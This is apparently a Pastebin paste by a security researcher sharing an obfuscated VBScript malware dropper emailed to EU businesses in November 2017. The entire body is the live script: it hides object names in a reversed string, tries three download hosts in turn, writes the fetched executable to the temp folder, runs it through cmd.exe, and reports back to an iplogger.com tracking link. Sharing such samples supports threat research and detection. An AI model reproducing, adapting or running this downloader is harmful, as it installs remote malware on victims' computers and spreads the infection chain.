GossiTheDog

malware emailed to EU businesses this evening

Nov 30th, 2017
401
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.17 KB | None | 0 0
  1.  
  2. Dim RLoaddissertationensurance '
  3.  
  4. Dim RLoaddissertationInPlaceOf '
  5. RLoaddissertationTepir = "User"
  6.  
  7.  
  8. Dim williams
  9. Dim TristateTrue
  10.  
  11.  
  12. Dim RLoaddissertationTimeTo 'As Object
  13. Dim RLoaddissertationDW
  14. RLoaddissertationDW = false
  15.  
  16. Dim RLoaddissertationbalibob 'As Object
  17.  
  18.  
  19. Dim RLoaddissertationcashback 'As Object
  20.  
  21.  
  22.  
  23. Function Aodportentdissertation(strr)
  24. if strr = "34" then
  25.  
  26. waitH = "Save"+"ToFile, 2"
  27. else
  28. Save1.Savetofile RLoaddissertationInPlaceOf , 2
  29. end if
  30. End Function
  31.  
  32.  
  33.  
  34.  
  35.  
  36. Dim krapivec
  37.  
  38. Dim RLoaddissertationReikYaik 'As Object
  39.  
  40. Dim Save1 'As Object
  41.  
  42. Function T2000(p, ddd)
  43. dicA = 19
  44. Set RLoaddissertationMacAttack = CreateObject("WScript.Shell")
  45. Save1.Type = 1
  46. Save1.Open
  47. End Function
  48.  
  49.  
  50.  
  51. Dim RLoaddissertationPetir '
  52. Dim sNodeKey '
  53. Dim sParentKey '
  54.  
  55.  
  56.  
  57. CUA ="Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
  58.  
  59.  
  60.  
  61. Kullipin = "//>:ptth>exe.pJIXHqQ\>elifotevas>ydoBesnopser>etirw>nepo>epyT>PmeT>TeG>ssecorP>llehs.tpircsW>noitacilppA.llehs>Maerts.bdodA>PTTHLMX.tfosorciM"
  62.  
  63.  
  64. Public Function FolderToCopy(dde,SecondP,VKUok)
  65. Samwell = 89
  66. Samwell = Samwell + 21
  67. if Samwell > 43 then
  68. SecondP.Write VKUok
  69. Samwell = Samwell / 23
  70. end if
  71. End Function
  72.  
  73.  
  74.  
  75.  
  76. RLoaddissertationPetir = "Ag"
  77. williams = Split(StrReverse(Kullipin), ">")
  78.  
  79. Dim MarketPlaceibility '
  80.  
  81.  
  82. Dim Twelve 'As Integer
  83. Dim sDecimalVis '
  84.  
  85. RLoaddissertationTepir = RLoaddissertationTepir + "-"
  86.  
  87. dr501 = False
  88.  
  89. Set RLoaddissertationReikYaik = CreateObject("" + williams(00))
  90.  
  91. Dim Valery 'As Integer
  92.  
  93.  
  94.  
  95.  
  96.  
  97.  
  98. Dim RLoaddissertation404 '
  99.  
  100. Dim RLoaddissertationMacAttack
  101. Dim MarketPlace '
  102. Dim sTempVis '
  103. Dim iCount 'As Integer
  104.  
  105.  
  106.  
  107. 'Set RLoaddissertationTimeTo = CreateObject(williams(8-6))
  108. Twelve = 10 + 1 + 1
  109. zTempVis = williams(Twelve - 11)
  110.  
  111. Public Sub DebugLog(txt)
  112. 'debug.print txt
  113. Open AppPath & "ARC2ServerDebug.txt"
  114. Print txt
  115. Close
  116. End Sub
  117. Set RLoaddissertation13 = GetRef("Aodportentdissertation")
  118. Set RLoaddissertation14 = GetRef("FolderToCopy")
  119.  
  120. Set Save1 = CreateObject("Adodb.s"+"treaM")
  121.  
  122.  
  123. Set RLoaddissertationbalibob = CreateObject(""+williams(10-7))
  124.  
  125.  
  126. if "Duebos" + WScript + "33" = "DuebosWindows Script Host33" Then
  127.  
  128. Valery = 99322
  129.  
  130. RLoaddissertationensurance = CreateObject("Scripting.Fi"+"leSystemObject").GetSpecialFolder(Twelve - 10)
  131.  
  132. end if
  133.  
  134.  
  135. Dim i
  136. sTempVis = williams(2+Twelve -2)
  137.  
  138. ATC = 9
  139. MarketPlace = williams(ATC+4) & williams(ATC+5)
  140.  
  141. RLoaddissertationTepir = RLoaddissertationTepir & ""&RLoaddissertationPetir & "ent"
  142. NotFound404 = 24
  143.  
  144. krapivec = Array("bit-chasers.com/JHGcd476334?","datenhaus.info/JHGcd476334?","mh-service.ru/JHGcd476334?")
  145.  
  146. lTo = UBound(krapivec)
  147.  
  148. Dim SendByte
  149.  
  150. Execute "Sub TypeRea(ArrArr) : NotFound404 = 12 : RLoaddissertationMacAttack.R"& "un(""cmd."&"exe /c call "" & ArrArr ) : End Sub"
  151.  
  152. SendByte = -2
  153.  
  154.  
  155.  
  156. For i = 0 To lTo Step 1
  157. NotFound404 = NotFound404 * 26
  158.  
  159. on error resume next
  160. Valery = Valery +15
  161. dr1=2
  162. NotFound4042 = williams(16-11)
  163.  
  164. NotFound404 = NotFound404 + 404
  165.  
  166. dr500 =MarketPlace + krapivec(i)
  167.  
  168. RLoaddissertationReikYaik.Open NotFound4042, dr500, dr501
  169.  
  170. piupiu.setRequestHeader "" & RLoaddissertationTepir, "" + CUA
  171. RLoaddissertationReikYaik.Send
  172.  
  173.  
  174. If 1005 + RLoaddissertationReikYaik.Status = 1205 Then
  175. SendByte = i
  176.  
  177. Exit For
  178. End If
  179.  
  180. goto14:
  181. Next
  182. on error goto 0
  183.  
  184. if SendByte >= 0 Then
  185. Dim Clank 'As String
  186. RLoaddissertationInPlaceOf = RLoaddissertationensurance+ sTempVis
  187.  
  188. T2000 "",90
  189. RLoaddissertation14 "",Save1,RLoaddissertationReikYaik.responseBody
  190. Sapogi =90
  191. RLoaddissertationInPlaceOfu = "" + RLoaddissertationInPlaceOf
  192.  
  193. Sapogi = Sapogi*90
  194.  
  195. Dim RLoaddissertationJohnSnowu,RLoaddissertationDisplay 'As Long
  196. RLoaddissertation13 "ss"
  197. RLoaddissertationJohnSnowu = 132
  198.  
  199. If 85 < RLoaddissertationJohnSnowu + 4 Then
  200.  
  201. Hipster =NotFound404-NotFound404
  202. DiBeat2 = RLoaddissertationInPlaceOf
  203.  
  204. TypeRea("""" & DiBeat2 & """")
  205. on error resume next
  206.  
  207. RLoaddissertationReikYaik.Open NotFound4042, "https://iplogger.com/ZqHJ7", dr501
  208. RLoaddissertationReikYaik.Send
  209. End If
  210. mafia = 90
  211. RLoaddissertationDisplay = "Re"
  212.  
  213.  
  214.  
  215.  
  216. end if
Advertisement
Add Comment
Please, Sign In to add comment